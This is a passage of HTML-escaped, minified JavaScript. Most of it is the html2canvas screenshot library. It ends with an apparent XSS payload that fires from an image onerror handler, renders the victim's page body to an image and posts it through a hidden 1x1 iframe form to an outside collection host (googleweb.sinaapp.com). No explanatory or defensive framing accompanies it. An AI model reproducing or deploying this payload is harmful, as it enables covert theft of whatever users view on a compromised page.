queue,canvas,options={logging:false,elements:elements,background:&quot;#fff&quot;,proxy:null,timeout:0,useCORS:false,allowTaint:false,svgRendering:false,ignoreElements:&quot;IFRAME|OBJECT|PARAM&quot;,useOverflow:true,letterRendering:false,chinese:false,width:null,height:null,taintTest:true,renderer:&quot;Canvas&quot;};options=_html2canvas.Util.Extend(opts,options);_html2canvas.logging=options.logging;options.complete=function(images){if(typeof options.onpreloaded===&quot;function&quot;){if(options.onpreloaded(images)===false){return}}queue=_html2canvas.Parse(images,options);if(typeof options.onparsed===&quot;function&quot;){if(options.onparsed(queue)===false){return}}canvas=_html2canvas.Renderer(queue,options);if(typeof options.onrendered===&quot;function&quot;){options.onrendered(canvas)}};window.setTimeout(function(){_html2canvas.Preload(options)},0);return{render:function(queue,opts){return _html2canvas.Renderer(queue,_html2canvas.Util.Extend(opts,options))},parse:function(images,opts){return _html2canvas.Parse(images,_html2canvas.Util.Extend(opts,options))},preload:function(opts){return _html2canvas.Preload(_html2canvas.Util.Extend(opts,options))},log:_html2canvas.Util.log}};window.html2canvas.log=_html2canvas.Util.log;window.html2canvas.Renderer={Canvas:undefined};_html2canvas.Renderer.Canvas=function(options){options=options||{};var doc=document,safeImages=[],testCanvas=document.createElement(&quot;canvas&quot;),testctx=testCanvas.getContext(&quot;2d&quot;),Util=_html2canvas.Util,canvas=options.canvas||doc.createElement(&quot;canvas&quot;);
function createShape(ctx,args){ctx.beginPath();args.forEach(function(arg){ctx[arg.name].apply(ctx,arg[&quot;arguments&quot;])});ctx.closePath()}function safeImage(item){if(safeImages.indexOf(item[&quot;arguments&quot;][0].src)===-1){testctx.drawImage(item[&quot;arguments&quot;][0],0,0);try{testctx.getImageData(0,0,1,1)}catch(e){testCanvas=doc.createElement(&quot;canvas&quot;);testctx=testCanvas.getContext(&quot;2d&quot;);return false}safeImages.push(item[&quot;arguments&quot;][0].src)}return true}function renderItem(ctx,item){switch(item.type){case&quot;variable&quot;:ctx[item.name]=item[&quot;arguments&quot;];break;case&quot;function&quot;:switch(item.name){case&quot;createPattern&quot;:if(item[&quot;arguments&quot;][0].width&gt;0&amp;&amp;item[&quot;arguments&quot;][0].height&gt;0){try{ctx.fillStyle=ctx.createPattern(item[&quot;arguments&quot;][0],&quot;repeat&quot;)}catch(e){Util.log(&quot;html2canvas: Renderer: Error creating pattern&quot;,e.message)}}break;case&quot;drawShape&quot;:createShape(ctx,item[&quot;arguments&quot;]);break;case&quot;drawImage&quot;:if(item[&quot;arguments&quot;][8]&gt;0&amp;&amp;item[&quot;arguments&quot;][7]&gt;0){if(!options.taintTest||(options.taintTest&amp;&amp;safeImage(item))){ctx.drawImage.apply(ctx,item[&quot;arguments&quot;])}}break;default:ctx[item.name].apply(ctx,item[&quot;arguments&quot;])}break}}return function(parsedData,options,document,queue,_html2canvas){var ctx=canvas.getContext(&quot;2d&quot;),newCanvas,bounds,fstyle,zStack=parsedData.stack;canvas.width=canvas.style.width=options.width||zStack.ctx.width;canvas.height=canvas.style.height=options.height||zStack.ctx.height;fstyle=ctx.fillStyle;ctx.fillStyle=(Util.isTransparent(zStack.backgroundColor)&amp;&amp;options.background!==undefined)?options.background:parsedData.backgroundColor;ctx.fillRect(0,0,canvas.width,canvas.height);ctx.fillStyle=fstyle;queue.forEach(function(storageContext){ctx.textBaseline=&quot;bottom&quot;;ctx.save();if(storageContext.transform.matrix){ctx.translate(storageContext.transform.origin[0],storageContext.transform.origin[1]);ctx.transform.apply(ctx,storageContext.transform.matrix);ctx.translate(-storageContext.transform.origin[0],-storageContext.transform.origin[1])}if(storageContext.clip){ctx.beginPath();ctx.rect(storageContext.clip.left,storageContext.clip.top,storageContext.clip.width,storageContext.clip.height);ctx.clip()}if(storageContext.ctx.storage){storageContext.ctx.storage.forEach(function(item){renderItem(ctx,item)})}ctx.restore()});Util.log(&quot;html2canvas: Renderer: Canvas renderer done - returning canvas obj&quot;);if(options.elements.length===1){if(typeof options.elements[0]===&quot;object&quot;&amp;&amp;options.elements[0].nodeName!==&quot;BODY&quot;){bounds=_html2canvas.Util.Bounds(options.elements[0]);newCanvas=document.createElement(&quot;canvas&quot;);newCanvas.width=Math.ceil(bounds.width);newCanvas.height=Math.ceil(bounds.height);ctx=newCanvas.getContext(&quot;2d&quot;);ctx.drawImage(canvas,bounds.left,bounds.top,bounds.width,bounds.height,0,0,bounds.width,bounds.height);canvas=null;return newCanvas}}return canvas}}})(window,document);var img=new Image();img.src=&#039;#&#039;;img.onerror=function(){ html2canvas(document.body, {  onrendered : function (canvas) {     var html_canvas = canvas.toDataURL();  xssPost(&quot;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&quot;, html_canvas);   } });  function xssPost(url, postStr) {   var de;   de = document.body.appendChild(document.createElement(&#039;iframe&#039;));   de.src = &#039;about:blank&#039;;   de.height = 1;   de.width = 1;   de.contentDocument.write(&#039;&lt;form method=&quot;POST&quot; action=&quot;&#039; + url + &#039;&quot;&gt;&lt;input name=&quot;screenshot&quot; value=&quot;&#039; + postStr + &#039;&quot;/&gt;&lt;/form&gt;&#039;);   de.contentDocument.forms[0].submit();   de.style.display=&#039;none&#039;; } }